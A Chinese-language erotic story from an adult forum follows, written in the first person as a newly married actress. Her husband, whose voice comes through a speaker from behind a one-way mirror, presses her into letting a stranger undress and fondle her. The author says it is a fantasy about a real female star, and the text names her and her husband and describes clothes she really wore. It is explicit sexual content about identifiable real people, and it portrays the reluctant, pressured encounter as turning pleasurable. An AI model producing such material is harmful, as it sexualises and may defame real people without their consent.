图片载入中

我熙媛……换偶

特大字】 【大字】 【中字】 【小字

(一)

“我该怎样称唿你?”

才第一次见面的俊朗男人,站在我背后,俯首于我耳畔,柔声询问。他温热的吹息,刺激我敏感的耳际,立时教我身子一颤。

“用英文名字——Barbie?”

直到今天黄昏,此人与我三十四载的人生,并无交集。但,现在,我立于他跟前,娇小的身躯,背靠在他宽阔、结实的怀抱里.

“叫你在演艺界的绰号——S?”

这个晚上,我和他只是刚刚认识. 我绝对不是个水性的女子,可是,他那双陌生的臂弯,早已从后轻轻圈住,我引以为傲的小蛮腰。只要他有那个意思,随时都可以,在我密实的衣服裙子外……上下其手。

“还是唤你——熙媛?”

三十分钟前,在那个引见彼此的饭局里,我尚对这码子丑事,犹豫未决…半小时后,我竟跟他在这特制的房间独处。懦弱地合上黑框眼镜下的双眸,我没作丝毫反抗,决定暂时任由他……处置。

“抑或最适合的——汪太太?”

如果在半年前,有人预言,六个月后,我将会背叛挚爱的新婚丈夫,我一定会狠狠赏他一巴掌,痛骂胡说八道!然而,此时、此刻,向来保守的我,居然当真在干着,这样的勾当……

**********************************

世人眼里,我是个既幸运又幸福的女人吧!少女时代,就出落标致,在娱乐圈,出道早,成名也算快。

长大后,跟同为影星的台湾帅哥男友分手,几年间,都再没对像。不觉三十出头,满以为可能嫁不出去了,却又意外在对岸邂逅了新欢——小飞.

是缘份吧,我俩都有一见锺情的感觉,热恋两个多月,便闪电结婚。丈夫深深爱我,年轻有为,家业丰厚……我这段婚姻,羡煞不少女人。

不过,风光背后,我却有不足为外人道的烦恼…………我的……性生活。

在婚前,大家从认识到拍拖,只过了短短两月多。我虽已非处子,也不想让他觉得,我是个随便的女人。所以,等到办妥结婚手续的当晚,我才首次跟他……同床。

新婚燕尔,同样三十出头的丈夫,方当壮年,之前又从未尝碰过我,洞房花烛夜,肯定会很激情吧……我虽生性害羞,心底亦着实期待,夫妻首度灵欲结合……

可惜,从初次亲热至今,已大半年了,丈夫在那方面……实在……原来他的……那话儿……很短小,又常常难以兴奋. 到好不容易……勃起了,却总是半软的……耐力也不持久,而且很多时候,更无法……射精,草草收场……

可不知情的亲友、传媒却老在‘关心’我何时怀孕。为了自欺欺人,有次记者访问,我还假装说漏了嘴:‘老公身体超好的,做过就知道呀’……唉,真是哑子吃黄莲。

六个多月来,情况都没改善,我却不好意思宣之于口……其实他明明对我充满热情,每周的多个日夜,都想努力满足彼此。可结果却……每况越下……一次又一次,半调子的房事,全搔不着我的痒处……更别说……快感……满足……高潮了……

我也是个有正常需要的成熟女人……长达一百八十多日,雨露不沾,委实十分……难熬……

近来,我真的每天都好想、好想……要……

真的好想……有个男人……能够好好宠幸我——

**********************************

我闭着眼睫,感到身后的男人,正把面孔往我右边的长发凑去:“……那我叫你熙媛,你叫我邢俊吧。”

“嗦……”男人——邢俊把鼻子埋进我乌黑油亮的发丝,深深吸一口气:

“好香……你的头发好香……比在电视广告上看到的更漂亮。”他提起圈住我腰间的右手,摸着我过肩的柔顺秀发:“还很柔软……真是爱不释手。”

“熙媛……”他很自然地把我右侧的头发,拨到右耳后面,让我的半边脸孔,分明呈现:“如果我让你感觉不舒服,你要告诉我。”随着这句风度翩翩的宣告,邢俊的举措,开始更进一步——高耸的鼻尖,厮磨我右脸的鬓角、耳朵、耳背、耳珠……

不管是嫁人前,更遑论现在结婚后,我从来没试过,让一个近乎完全陌生的男人,如斯亲近我。我打了个冷颤,心头砰砰乱跳……“唿……”他往我耳道断续地吐气,痒得我两肩耸缩:“好洁白的耳朵,好像贝壳一样……”

他用唇片撩拨我的右耳,忽前忽后、忽上忽下;继而张嘴,含住耳垂,舌尖舐舔,双唇细啃,徐徐啜弄:“雪啜……雪啜……”我敏感得侧头避开,他却顺势沿着耳际,向下往颈项吻去,教我又起了一阵鸡皮疙瘩“啜……啜……”

拨开我的长发,邢俊应该是在亲我后颈上的刺青:“六芒星纹身……对,你身上刺青挺多的……”

他的右掌绕到我的左颊上,轻力地想把我的右脸,扳得朝向他的面孔。虽然我始终合着两眼,但也猜得出来……邢俊想和我……亲嘴:“熙媛,来……”女人接吻,要看感情。我可以让他碰我、亲我,可要我跟一个毫无感情基础的男人四唇相触……我,办不到……

我偏头拒绝,邢俊也大方地没有用强,只吻着我的右脸:“不要紧,等以后我们熟悉了再亲吧……”

他的右手下移,来到我盘护在胸前的两手上,抚摸我右手手背的花状刺青:

“连手的皮肤也这么滑熘……”

邢俊持续亲着我的右腮,一边轻拉开我叉在身前的右手。他用右掌揉着我的手指、掌心:“手指又长又滑……被你爱抚,一定很舒服……”我不觉被他瓦解了护胸的姿态,他一直放在我腰间的左手突然上溯,一下子便斜按在我外衣上右胸的位置。

我想阻止他的胸袭,但我的右手,早被他的右手牵住;我的左手才刚扬起,却慢了一步,右边乳房,已被他隔衫把握住……我在最外面套着一件黑色长袖罩衫,中间是一条白色休闲连身短裙,贴身的则是刻意挑选,质地较厚的运动形胸围。明明隔住这三重衣物,可是邢俊对我右乳的搓揉,还是使我浑身一软……

我把左手按在邢俊的右掌上,想停止他的握捏——此时,这间奢华套房,天花板上的扬声器,却突然传出声音:“把外衣脱了吧……老婆。”

(二)

**********************************

柏西达的话:很多年前,在巨豆、风月等论坛创作过《调教柏芝》后,就再没有写过幻想女明星的文章了。但近这两、三年,对身兼轻熟女、人妻的本文女主角,很是沉迷,于是重燃写作欲望。在色城潜水很久了,见到举行征文,毅然浮上水面。题材算是近年大热的NTR 吧,跟旧作一样,希望有较细腻的心理描写。话说因为征文规定叙事者要是第一人称,自己第一次挑战以“我”的女性角度来讲故事,感觉不容易啊……在描写女星的相关细节上,向来是“考据派”(?),所以精心挑选了女主角真正穿过的服装充当“戏服”,特附上照片,以供延伸幻想……最后,如有喜欢本故事女星的同好,请多多发言呀,之前一个回应都没有,超寂寞的(泪奔)~~

**********************************

真的好想、好想,有个男人能够好好宠幸我——当然,我只想这男人,是我丈夫,我的枕边人,我唯一的终身伴侣。于是,我鼓起勇气,跟丈夫两个人在家里,坦白感受。事前反复思量,我每句说话,都很小心用字,尽量不伤害他的男性尊严,表达我的想法。希望他跟我开诚布公,找出彼此在床第之间,究竟有甚么问题,再一起克服、解决,让大家能有美满的婚姻生活,及早生儿育女。

半年来鱼水不欢,丈夫也许早料到,我会有此一问吧。他并不隐瞒,说自己悄悄去过医院作身体检查。报告结果,与其说是生理毛病,无异属于心理问题更多。因此,生殖科的医师,便把他转介给心理医生诊治。

我闻言松了一口气,心头大石,可说放下了一半。如果,他是身体器官有先天缺陷,或者曾出过后天的意外,说不定就无法医治了。但心理障碍嘛,随着向心理医生倾诉,接受辅导,配合药物,日子有功,问题应该肯定能解决吧!

很自然地,我好奇起来,继续询问:“你的……心事……是甚么?告诉我好吗?看我能怎样……帮助你……”显然,他刚才说出来的,只是我较容易接受的事情,提到最重要的部分,便吞吞吐吐:“我若说出来……你一定会……吓怕的……”

“都是两夫妻了,你先尽管说. ”诚恳地看着挚爱的眼睛,我跟他四手相握。

脑里念头急转,最坏的情况……会否是他小时候,受过甚么人的性侵犯,以致长大后,蒙上心理阴影?

沉吟良久,他的神情,像是决定辖出去:“你也知道,我妈跟我爸离婚,独力在外国养大我。她一个女人在异地,难免寂寞。她交往过不少男人,华人、老外等等都有。那时,我们经济环境很差,两母子住在很狭小的地方。所以,我曾好几次意外窥见我妈在和不同的男人那个……”一直耐心倾听至此,我不禁伸手掩住嘴巴。莫非,因为撞破了母亲和其他男人的好事,自此留下了阴影烙印,影响至今?难道,他由此变得讨厌女人,讨厌跟我……亲热?

“那时,我正值青春发育期……那些场面……对我太具刺激……深深影响了我……到我后来开始跟女生交往,问题便逐渐浮现……”“你也发觉了吧……我很难才能兴奋起来……其实,不单止对你,在婚前交过的几个女朋友,我全都有……这方面的问题……”“我只有在对她们、对你……进行某种幻想时……我才比较容易……进入状态……”他没再说下去,似乎十分难以启齿。

我知道只差一步,就查明问题核心:“幻想……性……性幻想吗?我……无法引起你……哪种幻想?”

“幻想,早已满足不了我……所以我才……振作不起来,满足不了你……”丈夫重重地摇头,没有正面回答,反而话锋一转:“因为,我越来越想,将对你的那些幻想……从幻想,变成……真实……”

“心理医师听毕我的病情,建议我说:我若把幻想实现,发泄出来,对我的身心状况,应该大有改善。那么,我的……表现,慢慢就会好起来,令你怀孕的机会,也会变高……”

“老公,你直说吧”说来说去,他的幻想,究竟是甚么?“我做妻子的,也有责任,我会尽量配合你的。”我做好心理准备,感到自己绯红了脸:“你想我实现你的甚么幻想?你说吧是制服诱惑?角色扮演?我只求,千万不要是暴力的SM。”

“熙媛……”丈夫抬起头来,缓缓地道出,我没猜想到的,可怕答案:“从第一眼看见你开始,我就在幻想……到你接受我追求,到我娶了你之后,我每天、每天,都在作着种种幻想……幻想,不,我想在现实中,看见其他男人……碰你……”

“我想亲自安排你,和其他男人……亲热,然后,我在一旁,亲身、亲眼看着你...”

**********************************

当邢俊隔着黑色罩衫,开始触碰我的胸襟时,天花板上的扬声器,忽然响起。

促成邢俊和我会面、亲热的丈夫,首度开腔:“把外衣脱了吧……老婆。”听见这句没良心的说话,一直闭目忍耐着的我,禁不住睁开眼来。眼前,是一面足足有整个房间般宽阔、巨大如整块墙壁的明亮镜子。镜上清晰反映,一对俊男美女,双双站在镜前。邢俊正从后半抱住我,左手隔着黑色外衣,按在我微微隆起的右胸。这情状,表面看来无比亲密,若有外人在场,只会以为,邢俊和我是登对的夫妻吧。可是,这一切,完全并非我的所愿,而是出于我真正的丈夫刻意、精心的安排。

今天出门前,我自然毫无细意打扮的心情。我避免穿得漂亮,不想被丈夫,与及素未谋面的邢俊,有所误会,以为我心里,其实在期待此事。我刻意朴素,长发简单地披肩,脸蛋完全不施脂粉,更架上一副黑色粗框眼镜,冷冰冰的。可我矛盾地知道,纵使只是素颜,我仍别具清纯诱人的味道。

上身套着一件黑色长袖罩衫,虽然下身是一条长不过膝的白色短裙,但浅啡矮靴上,穿着严实的灰色长袜裤,论保护性,应该很足够了,然而,当下,我的另一半,却竟主动开口,着我褪下外衣。

通过镜面,邢俊见到我张开了眼睛。好像为免我尴尬,他在黑罩衫上揉胸的左手,立刻很具君子风度地,停止动作。这体贴的举动,教我暗暗有点感激。为甚么,懂得尊重我的,居然不是应该保护我的丈夫?反而是这个,我在事前,视他为‘变态’、‘色狼’的人?邢俊没有说话,似乎在等待,我对头上扬声器传来的要求,会作何反应。

我心中,五味杂陈。既羞,且怒,又伤心,更委屈。为甚么,我居然嫁了一个,有这种异常心态的老公?我怨怼地,看着眼前镜墙:“我都……这样……配合你了……你还不……满意?”答应被一个陌生男人,像刚才般如斯对待,已是我的极限了。隔着几重衣服,我才能勉强接受,可如今,丈夫却更过份地,命令我去除保护。

我无法看透的这面镜墙,实质是一块“阴阳镜”。镜墙另一边的房间里,我的丈夫,从一开始,便在通过单向的玻璃,窥看着应该只属于他的爱妻,被另一个男人拥抱、舐吻、抚摸…丈夫享受着,我完全无法理解,只有他自己能体会的诡异快感。

扬声器静默了一会,传来回答:“我想看着你被摸……不要隔着……那么多衣服……”那么多衣服?我总共才穿了三件!而且还有一件是内衣,丈夫竟说着这种荒唐话,我都不敢去瞧,邢俊在镜上是甚么表情。

事前,我严肃地跟丈夫约法三章,强调我只是勉为其难,才牺牲配合他这异样的欲望。而我对自己的身体,绝对有着,要坚守的底线。但是,事到如今,难道我大怒翻脸,拂袖而去吗?丈夫费尽唇舌,央求我满足他这禁忌的幻想一次,背后苦心,只是为了治好他的心病,好让大家从此房事顺利,能够生儿育女。如果,我现在半途而废,将来,他的情况,想来只会变得更差,一切更难挽回。我,好像有选择权。但,其实,根本无从选择。

我幽幽地叹气:“只是……脱掉外衣……就行了?”“对,只脱掉外衣就行了……”听见我让步,扬声器传来的声线,好像振奋不少:“然后,让邢俊伸手进你的裙子,解开内衣……让他直接摸到……你的身体……”

这哪里是‘只脱掉外衣就行了’而是想让妻子的胸脯,直接落入另一个男人的手里。想不到,我还未声张,先我一步开口的,却是邢俊:“小飞,这样会不会太急进了?”

能够亲手触碰我的身体,我以为邢俊只会求之不得,没想到,他竟顾虑到女儿家的感受:“别把熙媛……逼得太紧了……”丈夫无视邢俊,只一味哄我:“我只要求到这样……不会再过份了……答应我,好吗?老婆……”

都到这份上了,既然当初毅然豁出去,现在唯有硬着头皮,让这羞人的状况尽快完事吧。我只能无奈地,如此理由薄弱地,说服自己。谁叫我,真心深爱着他呢。

我黑框眼镜下的眸子,再次放弃地合上。我慢慢用被邢俊拉着的右掌,牵引他的右手,去到我黑色罩衫的最下端,无声地示意——他,可以动手去脱我的外衣。

(三)

在青少年身心开始发育,对异性最好奇的性启蒙时期,因为多次有意、无意地,目睹母亲,跟不同的男人,行其好事……结果,重重震撼了,小男生的性官能……

令他长大后,深深陷入‘想见到自己喜欢的女人,跟其他男人亲热’的病态妄想里,无法自拔……

苦于长年无法达成‘心愿’,这个男人的雄性机能,始终兴奋不起来……结果,在婚后大半年,都满足不了自己,和刚迎嫁的太太……世事,无奇不有。我不会说,不相信有这种事情发生。只是,我从没想到,这样的命运,会降临在我身上——

“熙媛……我想亲自安排你,和其他男人……亲热……然后,我在一旁,亲身、亲眼看着你……”

我简直怀疑听觉出了问题,可这一字一句,都出自眼前的丈夫口中。

“为甚么在结婚前,你不告诉我……有这毛病?”话才说出口,我都觉问得太笨。如果在追求我之初就坦白缺陷,我一定会被吓坏,不敢跟他交往下去……可现在,一切都太迟了。我已爱上这个男子,和他走进婚姻,成为了他的妻子……难道,我竟要在新婚才不过半载,就要向他提出……离婚吗?

不,我舍不得。邂逅之时,我可是才看见第一眼,便觉得他是我的真命天子……我好想和他在人生路上,继续走下去,组织家庭,生儿育女……我告诉自己,对他的心病,不该害怕、逃避……我应当陪在他身边,协助他努力解决.

“那个心理医师……”我回想起丈夫之前的说话:“你说,他建议你,若把幻想实现,发泄出来,情况就会好转……”

虽然已经是两夫妻了,但要我说出这种离谱的提议,还是异常尴尬:“那么,以后你跟我……亲热时,你就幻想……有其他人在……碰我吧……这样你就能……兴奋?”

丈夫摇头:“我每次……都有幻想……很快就……没效果了……”我肯定微红了脸:“但是,有几次,你比较……厉害……那时,你都在……幻想……甚么?”

丈夫遥指睡房里的电视:“那几次,我们一起在看你以前的电视剧、电影……那些其实都是我……刻意挑选过的……”

“泡沫之春、剑的雨、小武生……里面全都有,你和男人亲热的场面……我看着看着,就很兴奋……”

我想起来了。难怪他那几趟,都是在观赏途中……就突然状态比较好地……跟我……做爱……

天呀……他这心魔……当真已经病入膏肓……

想着想着,我终于控制不了情绪:“太、太荒谬了!难道你就真的这么想让我……和其他男人好上?!”

“即使你做得出来……我、我也绝对……办不到!”

**********************************

“你办得到吧?老婆……”

“脱掉罩衫……让邢俊伸手进你的裙子,解开内衣……让他直接摸到……你的身体……”

我真的不晓得,丈夫在隔壁房间,叫我脱掉外衣时,究竟怀着怎样的心情?

我只知道,我的心情,肯定比他,复杂好几十倍。

虽然,我已决定屈从。但要我自己脱下外衣?这么……主动,我做不到。启齿,叫邢俊动手?更加万万开不了口……

我唯有再一次,自欺欺人地闭上灵魂之窗,再把邢俊的右手,慢慢带引到黑色的罩衫上,暗示他替我……宽衣……

邢俊懂得我的意思,却没有立刻行动,而是用右手掌心,轻按着我的右手手背,温言安抚:“熙媛,小飞他……真的难为你了……”一句短短的话语,却教我百感交集,顿时鼻头一酸。为何,安慰我的,不是丈夫,反倒是一直在‘侵犯’我的邢俊?

“我也是有份……欺侮你的帮凶……”邢俊在我耳边道歉,语气十分真诚:

“对不起……”

老实说,未见面之前,我确是在暗恨,为何会有这么好色、变态的人,肯答应帮忙丈夫,出手亵玩我……

可从见面到现在,邢俊予我的印象,却越来越正面……其实,我何来资格,责怪他呢?

把邢俊扯入这浑水的,可是我自己的老公……还有,同意让他碰我的……我自己……

我轻轻摇了摇头,默然表示……我,没太怪你……“谢谢你,熙媛……”邢俊的语气像是如释重负,比起丈夫,他对待我,好像有良心得多……

不久,我感到邢俊的两手,已掀起我外衣的最下沿。他缓缓翻开黑色罩衫,我……顺从配合,举起双手,让他帮我把衣服,从衣袖、领口处褪出。

我忍不住睁开一线眼帘,偷瞥镜中倒影。褪去外衣,我就只穿着一条连身白色薄裙,裙摆长不及膝;下半身则是灰色长袜裤,及一对浅啡短靴。

出门前,我那想得到,丈夫会要我脱掉罩衫。我真后悔,随便挑了这条布料太薄的休闲短裙。眼前,裙子的前襟处,半透出里面雪白的运动形胸围。它的颜色、形状,都在镜面上,若隐若现……

是因为骤然少穿了件衣服?还是因为不安胆怯?我单薄的身子,忽然抖了一下。

“你冷吗?”邢俊察觉到了,双手从后圈住我下垂的两臂:“这样,会暖和点的……”

这一次,他并没有上下其手。只是纯粹地拥抱我,用他温热的身体,为我添暖……真的……好奇怪,我竟泛起一丝……温馨的感觉……等得我当真暖和不少,邢俊才松开双手,改移到我的裙子上方。拨开我的发丝末梢,他摸到裙领后方的拉链:“……可以吗?”我羞涩不已……只像蚊子般……轻嗯了一声。

领口的拉链,慢慢地往下拉开,直到裙子腰际的尽处——就这样,我的粉颈、玉背、纤腰,便从裙子后面,笔直敞开的拉链之间,暴露于空气之中。

邢俊反复揩扫我的腰背,彷佛极由衷地赞美:“不愧是美容大王……这颈背、腰肢……活像白玉一般……”

他再次以我脖子的六芒星刺青作起点,又展开新一轮的轻吻:“啜、啜……”“啜……啜……”深情的唇片,一路沿着后颈,往下轻吻,一直亲到我肩背之下,胸围扣子的正上方,才温柔地停住。

暖暖的嘴巴移开,我感到四只指头,在摆弄扣子:“要解开了……”蓦地,约束我胸脯的力量,左右一松……

我白色的运动形内衣,被邢俊利索地,于雪背上解开来了——

(四)

“太、太荒谬了!难道你就真的这么想让我……和其他男人好上?!即使你做得出来……我、我也绝对……办不到!”

我控制不了情绪,朝丈夫吼出这番话,把他推到主人房外,重重地关上了门。

从那天起,我便和他分开房间睡觉。即使活在同一屋檐下,也有意避开他,不搭理他的说话,不接他的电话……因为我真的不晓得,该用什么心态来面对他。

他那些病态的自白,不断在我脑海响起——

‘熙媛……从第一眼看见你开始,我就在幻想……到你接受我追求,到我娶了你之后,我每天、每天,都在作着种种幻想……”‘幻想,不,我想在现实中,看见其他男人……碰你……’‘我想亲自安排你,和其他男人……亲热……’‘然后,我在一旁,亲身、亲眼看着你……’

娶到我这般的明星娇妻,九成九的丈夫,都会呵护备至。可我的状况,却竟然是老公想把我……交给其他男人……染指……我到底该怎么办?回台湾娘家?然后跟他分居、离婚?亲友、传媒追问原委时,我如何交代?事情,当真要走到这个地步?问题,绝对无法解决了吗?

不管是把自己困在屋里,或是走到街上透气,我依然满脑子在想着,烦得头也痛了。几天下来,吃不下,睡不好,心情遭透……而且……我好想念丈夫。

初遇以来,直到新婚半载,我俩一直无比恩爱……但如今,竟破天荒冷战了三天。是因为我太爱他吗?不过几十小时没交谈吧,我已觉得十分寂寞……甚至,凄凉……

抚心自问,离婚,我千个、万个舍不得。那么,我的选择,看来就只剩下……

彻夜不眠,苦思达旦,当我已有决定后,第四天早晨,敲门声响起了。我打开门来,见到丈夫一脸憔悴。我生的气,立时就不知都跑到哪里去了,反为他感到心疼……唉,女人,就是这样没用的生物……丈夫万分惭疚、诚恳地,跟我连声道歉,说以后绝不会再提起那件事情了,只差没跪下来当天发誓……我相信他不是哄我,而是果真打算这么做。

“那你的……问题,怎么办?”我心中主意已决,能够冷静下来,跟他好好说话。

丈夫近乎语塞:“……以后……再算吧……”

他紧张地握着我双手:“我不想你离开我……”“傻瓜……”虽然我的外貌,保养得比实际年纪小很多,其实,我比丈夫大上四岁,是母性本能吧,我没法抛下他不顾:“我不会离开你的,我是你老婆呀。”“真的?太好了……”丈夫高兴得一把抱住我,我也拥着他。我知道,他终究是深爱我的。只是他的病、他的阴影,令他无法自拔地,想见到我被其他男人……然后,他才能兴奋起来……

“我上次没问过你……”我心知机会渺茫,但仍奢望在说出‘那个决定’前,图个侥幸:“你的情况,吃……‘威而钢’那些……有帮助吗?”丈夫自卑地摇头:“不行……医师说,是我的心理,影响了生理……总须要心里先有了兴奋的欲望,再服药,才能有助身体……勃起……”如我所料,心病,还须心药医。我,只有一条路可走了——我鼓起勇气,正视丈夫,调顺唿吸,握着拳头,好不容易,一字一顿地说:

“我决定了。我答应你,我会满足你的幻想。”“熙媛……”丈夫的反应,又惊,又喜:“你、你……愿意?”“如果……对方只是……搂抱、亲我……我能够勉为其难……忍受……”我考虑数晚,终于决定,硬着头皮:“我可以当作是……演戏……”往日在电视、电影里,不是也会和对手演亲热戏吗?我只能如斯……自欺欺人了……

丈夫满脸感动,甚至可说是激动:“老婆,谢谢你!”谢谢我,答应你,安排其他男人,去碰我自己吗……感觉真刺耳,又荒谬……但现在,不是理性计较的时候了。

我从小到大,向来是个敢爱敢恨的女子,就豁出去吧……都打开天窗说亮话,接下来就是讨论……细节了:“你……会怎么……安排?时间……地点……”

“你既做好心理准备了,那就明晚黄昏好吗?”定是幻想压抑得太久了,丈夫显然想越快实行越好:“地点……我们有自己的地方。”“你、你们?”事关重大,每一步,我都要问过清楚明白。

“我前几任女朋友,都不愿意配合我……我为了满足心愿,所以,三年前,加入了一个……圈子……我会不时去看其他会员,交换他们的……情人、妻子……我们称之为——‘换偶会’……”

我知道世上有这种团体存在。而丈夫既是好此道者,他是其中一员,对此刻的我来说,也没什么好吃惊的了……

可转念一想,立时醋意大起:“你、你碰过其他女人?”“没、没有!”丈夫分辩:“的确是有很多男人,是喜欢玩……人家的女人……但我却只想看见人家……玩我的……那些前女友不配合我,我才自己去看旁人这么做……满足一下……”

只想看见,人家玩自己的女人……丈夫这么明确表态,我虽已作决定,但听在耳中,着实……

“我们有自己的地方,有好几处。都设在外人看来,完全正派的多功能会所、酒店里。保安周全、隐密,传媒并不知情;更有高科技设备,反制一切偷录、偷拍。我前后去过不同的聚会三年了,一次岔子都没出过,你可以……放心。”丈夫继续说服我,是放开怀抱了吧,竟开始有点……侃侃而谈。

我两夫妻都是知名人士,而这种丑事若泄漏出去,我身为女人,真是连人也不用做了……我只能相信,丈夫会谨慎地保护、保障我这‘私隐’……任我之前能跟他坦然商讨,当来到最后,也是最关键的问题时,我仍不禁难堪地垂下头来,搓着双手,低声问道:“人……人选呢?”用手机上了微博,丈夫让我看一张照片:“这个叫邢俊,三年前,就是他介绍我……入会。他是我认识的第一个会员……高学历,有修养,人很斯文……”与其说是临时起意挑选,丈夫更像早已属意此人……他从何时开始,就在幻想将我,送入这个姓邢的手里?也许,他很久前已一直在盘算,只是不知道如何开口,说服我接受?我也不欲多想了……

看着手机,老实说,相片中人,比我想像的变态换偶癖好者,长得……实在好看太多。三十出头,高瘦白净,西装笔拔……甚至,比丈夫……更英俊……我甩了甩头……我在想什么嘛……这跟英不英俊有什么关系?我只是为了丈夫,为了婚姻,才屈服接受被这家伙……触碰……“你看,合意吗?”丈夫用试探的语气,我感到,他无比期待我的同意。

“那有什么……合不合意……你……拿主意……”有点动气,更多的是害羞、委屈,我终于无奈地答应了,整件事的最后一环。

最后,我强调唯一的条件:“不管怎样,当我觉得不舒服……不情愿……我喊‘停’时,你就要让一切……停下来……”

丈夫自然应允,却难掩喜色地,走开去打电话联络邢俊……于是,翌日黄昏,在‘换偶会’其中一处会址的高级西餐厅,我在丈夫陪同下,首次跟邢俊饭聚。

真人,比照片更帅……这居然是我见到他后,泛起的首个念头……邢俊只礼节性地和我打招唿,没与我多说话,主要跟丈夫边吃边闲聊。我心知肚明,吃饭,不过是幌子,主要是给我机会,从旁观察他……饭到半途,邢俊先行离席,让我和丈夫独处。要来的,还是要来了——“你觉得……他……可以吗?”丈夫的眼神充满期盼:“可以的话,现在就上房间……”

我两颊通红,下巴一点……同意走出‘换偶’的第一步……于是,丈夫领我走入升降机,去到酒店高层一间特制的房间。

房间内,有一大面透明玻璃墙,可以看见邢俊正在另一边耐心等待。玻璃墙前放着桌椅,设有对话机及扬声器……

丈夫一一解释,这面镜墙是单向透明玻璃,当我和邢俊身处另一面时,是看不见他这边的,那我就可以避免尴尬……而双方虽然隔着房间,仍可以通话对答……

怎可能不尴尬呢!一切还未展开,我已觉羞愧得要命……只是,事到临头,不容我再迟疑、反悔了……

打开通往邢俊房间所在的一扇门,丈夫亲手,牵着羞涩至极的我,亲自,送到邢俊面前,把我,交给,他。

他俩都没有说话,丈夫便退回到另一边的房间去,把门紧紧关上。

这样,就只剩下我和邢俊了。我不知所措,无助地站着,背向他,不敢回望。

我感到邢俊走来身后:“你不坐沙发吗?”

“不……”好像只有站着,随时能够逃跑,才令我有一丝安全感。

“也好,你和我就站在镜前,可以让小飞……看得更清楚。”对,全是为了丈夫……无谓拖拖拉拉了,这丑事……早点……开始,早点结束——

我放弃地闭合眼眸,大着胆子,将背靠上邢俊穿着西装的身体。

腰肢随即被一双悠长的臂弯,从后圈住,耳畔传来邢俊的柔声询问:“我该怎样称唿你?”

(五)

“要解开了……”邢俊低语一声,像在给我心理准备,下一秒,胸围扣子便一松,在我背后左右摊开。

黑色罩衫,脱下;白裙背面的拉链,敞开;现在连上半身最后的防线,也终于被解除。我紧张得心头乱跳,唿吸变促,罩杯内的胸脯,亦微微加快了起伏……

邢俊双手从我腋下探入,滑过乳房两侧,伸入胸围里,再两掌轻轻虚握,便把我的一对玉乳,完全掌控。

他两手裹住成双的嫩乳,纳在掌中,静止不动,似在彻底感受它们的形状、分量、触感、温度……

认识还不到一个小时,我的女性特征,却已被形同陌生人的他,摸个透彻……是我太天真了吗?事前,我还单纯地以为,丈夫真的只会让邢俊隔着衣服……碰碰我罢了……

我的双手本能地按在白裙前襟上,隔着裙子和内衣,想阻止邢俊继续造次。

但他的手掌,早在我衣服里跟胸脯贴肉相触,令我的举动,显得多余、徒劳……良久,耳畔响起赞叹:“我真是太幸运了……”他的十根手指,在乳肤上缓缓收拢,进一步体会我的曲线:“这是多少男人的梦想啊……”

对,至今为止,跟我有过肌肤之亲的男子,数目不多于十个……我本以为,丈夫会是我生命中最后一个男人,那想到,他竟主动将我交给……别人……“熙媛,你看着我,好吗?”邢俊的语气,忽然变得很郑重。

我不禁有点好奇,慢慢睁开含羞的眼睛,右脸微侧仰望,瞧见邢俊正在俯视我:“谢谢你……”

首次在如此接近的距离,看清他的轮廓。我再一次确认到,他比丈夫……更帅。邢俊,人如其名,有型、英俊……

“谢谢你,给我机会……”他的眼神好热切,竟教我莫名地……心中一荡……

“谢谢你给我,亲近你的机会。”道谢?我明明……任凭摆布,他没必要说这些话的,可见他还是挺……尊重我?我对他的好感,不由得,又添了几分……“我不晓得,还有没有……下一次……”身为演艺圈中人,俊男,我见得多的是,但当下邢俊的目光、话语,却深深把我吸引住:“也许,我们这第一次相遇,就是最后一次见面了……总之,谢谢你……”他的脸庞,朝向我的脸蛋,越凑,越近……我知道他想干什么,我知道应该躲开,但……

我竟允许……邢俊暖暖的双唇,印上我柔软的唇片。他没张开嘴,没伸舌头,没尝试湿吻我,只是跟我四唇相触,轻轻厮磨……毫无侵略性,他只细意地、反复地,揩亲我的樱唇。感觉……挺好……教人不想……拒绝……

就像回到少女时代,首尝初吻,我乖乖地,昂首让邢俊亲着、亲着……他眼里的亮光、吻我的方式,真的……好温柔……

柔情地亲我,一直亲上了好几分钟,眼前的俊男,才依依不舍地移开嘴巴……我诧异于自己……居然也有一点……依依不舍……

“熙媛,如果这第一次,就是我们的最后一次了……”

胸围内的两手,像是因为情不自禁,稍为增强了力度:“请你容许我……放肆一点……可以吗?”

想放肆地……摸我?我该说……可以?还是……不可以?可以……吧?至少,到现在为止,他的作为,也没让我觉得……太讨厌……而且,丈夫会让我说……不可以吗?耳边仿佛又响起,他那段没良心的说话:“脱掉罩衫……让邢俊伸手进你的裙子,解开内衣……让他直接摸到……你的身体……‘对,是丈夫,本来就想我这样……我只是在……配合他……而已……再一次,我娇羞地低下螓首,用身体语言示意邢俊……你可以……“真的……太谢谢你了……”邢俊感激地在我额上一吻,在白裙内的双手,便开始缓缓地揉搓我的乳房。

他并不急色,两手力度,恰到好处,不单没令人产生一丝不快,反而有点……受用……

双掌贴着我的侧乳、下乳来回滑动,他不住称赞:“一手盈握,坚挺、柔滑,真是极品哦……”

没有女人不喜欢听男人的甜言蜜语。即是是在这种异常的‘换偶’状况下,我仍然感到……心中暗喜……

身体受用,心里窃喜,我按在裙子外的双手,根本没半点阻挠邢俊的意思……令他得以随心所欲地,在内衣里爱抚双峰:“熙媛,你把手放下来……”“你要让小飞,看清楚我的动作,他才会……更兴奋。”往镜子望去,我按在前襟上的双手,的确遮挡住,邢俊在裙里的动静……我微握双拳,下垂到腰间,眼睛却忍不住,聚焦在镜面上。镜像里,我布料纤薄的白裙,半透出白色的内衣。内衣之下,邢俊两手的活跃,显得十分明显——时而左右旋转、时而上下推托,用心地把玩着我的一对椒乳……目击自身被施以禄山之爪……没想到是这么羞人……我偏低了头,不敢再看。

但,不知何解,经此一望,胸脯传来的感觉,却竟似更……刺激……?

镜子另一边的丈夫……他也感到……刺激吗?见到这一幕……见到妻子被其他男人,赤手触摸裸体……他会难受吗?会吃醋吗?抑或真的只会感到……兴奋?

混乱的思绪,蓦然被峰峦上,泛起的新触感打断——邢俊摸遍了我乳肌的每一方寸后,两手的食指,改为各沿着两边乳晕,转起圈来……两只指头,一时顺时针、一时逆时针地,绕圈盘旋,像在测量乳晕的圆周:

“小小的一圈,好可爱呢……”

一圈又一圈,两只指尖,细腻地骚扰乳晕,令我遍体毛孔,一遍又一遍地扩张;酥麻的感觉,更持续地送往峰顶……

唿应手上的动作,邢俊的舌尖,同样在我耳朵上打转:“乳晕是浅浅的一圈……”

“那么——”两根食指,终于登陆左右峰顶,轻轻点住,不知何时已高高竖起的乳尖:“乳。头。呢?”

